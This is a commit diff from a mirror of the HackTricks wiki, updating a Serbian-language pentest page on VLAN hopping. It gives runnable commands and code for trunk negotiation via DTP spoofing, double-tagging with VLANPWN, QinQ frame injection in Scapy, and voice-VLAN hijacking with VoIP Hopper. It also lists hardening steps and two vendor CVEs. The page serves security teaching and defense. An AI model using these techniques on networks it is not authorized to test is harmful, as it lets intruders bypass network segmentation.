mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
5c67fb718c
commit
cba5234fd2
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
|
||||
Prvo, identifikacija specifičnog povezanog porta je potrebna. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
|
||||
|
||||
**Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**:
|
||||
```
|
||||
@ -24,6 +24,7 @@ Prebacivanje u trunk režim će privremeno prekinuti konektivnost, ali se to mo
|
||||
|
||||
Zatim se kreiraju virtuelni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije izvodljiv, adrese se mogu ručno konfigurisati:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Primer za ručno postavljanje statičke IP adrese na interfejsu (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.
|
||||
|
||||
@ -61,22 +71,29 @@ Cisco switch-evi koji drže DTP omogućeno rado će pregovarati trunk ako peer t
|
||||
*Yersinia* i nekoliko PoC-ova automatizuju proces:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel-i više ne zahtevaju *vconfig*; umesto toga koristite *ip link*:
|
||||
Recon pomoćnik (pasivno identifikovanje DTP stanja porta):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju:
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Jednom kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku.
|
||||
|
||||
### 2. Double-Tagging (Zloupotreba Native-VLAN)
|
||||
|
||||
Ako napadač sedi na **native (neoznačenom) VLAN-u**, kreirani okvir sa *dva* 802.1Q zaglavlja može skočiti na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (osveženje 2022-2025) automatizuju injekciju:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa nativnim VLAN-om.
|
||||
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN-u 20.
|
||||
|
||||
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju nativni VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy:
|
||||
Mnogi koreni preduzeća podržavaju *Q-in-Q* enkapsulaciju usluga provajdera. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar provajdera (S-tag) da bi prešao sigurnosne zone. Zabeležite za ethertype `0x88a8` i pokušajte da uklonite spoljašnji tag pomoću Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||
|
||||
Korporativne pristupne tačke često su u *“access + voice”* konfiguraciji: neoznačeni data VLAN za radnu stanicu i označeni voice VLAN koji se oglašava putem CDP ili LLDP-MED. Imitujući IP telefon, napadač može automatski otkriti i preći u VoIP VLAN—čak i kada je DTP onemogućen.
|
||||
|
||||
*VoIP Hopper* (pakovan u Kali 2025.2) podržava CDP, DHCP opcije **176/242**, i potpuno LLDP-MED spoofing:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Tehnika zaobilazi razdvajanje podataka/glasovnih komunikacija i izuzetno je uobičajena na preduzetničkim edge switch-evima 2025. godine jer je LLDP auto-policy podrazumevano omogućen na mnogim modelima.
|
||||
|
||||
---
|
||||
|
||||
## Preporuke za odbranu
|
||||
|
||||
1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
|
||||
3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`.
|
||||
4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti.
|
||||
5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje.
|
||||
1. Onemogućite DTP na svim portovima koji su usmereni ka korisnicima: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Promenite native VLAN na svakom trunk-u u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
|
||||
3. Prune-ujte nepotrebne VLAN-ove na trunk-ovima: `switchport trunk allowed vlan 10,20`.
|
||||
4. Sprovodite sigurnost portova, DHCP snooping, dinamičku ARP inspekciju **i 802.1X** kako biste ograničili neovlašćene Layer-2 aktivnosti.
|
||||
5. Onemogućite LLDP-MED auto glasovne politike (ili ih zaključajte na autentifikovane MAC OUI-e) ako spoofing IP telefona nije potreban.
|
||||
6. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto da se oslanjate isključivo na 802.1Q razdvajanje.
|
||||
|
||||
---
|
||||
|
||||
## Ranljivosti dobavljača u stvarnom svetu (2022-2024)
|
||||
|
||||
Čak i savršeno učvršćena konfiguracija switch-a može biti potkopana greškama u firmveru. Nedavni primeri uključuju:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst pristupne tačke** omogućavaju injekciju iz native VLAN-a u ne-native WLAN VLAN-ove, zaobilazeći žičano/bežično razdvajanje.
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** omogućava zaobilaženje ACL-a na SVI-ima nakon prebacivanja Resilient Ethernet Protocol-a, propuštajući saobraćaj između VRF-ova/VLAN-ova. Zakrpa 17.9.5 ili novija.
|
||||
|
||||
Uvek pratite obaveštenja dobavljača o VLAN povezanim zaobilaženjima/ACL problemima i održavajte slike infrastrukture ažurnim.
|
||||
|
||||
---
|
||||
|
||||
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Šta je VLAN Hopping?" (Avg 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper projekat – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user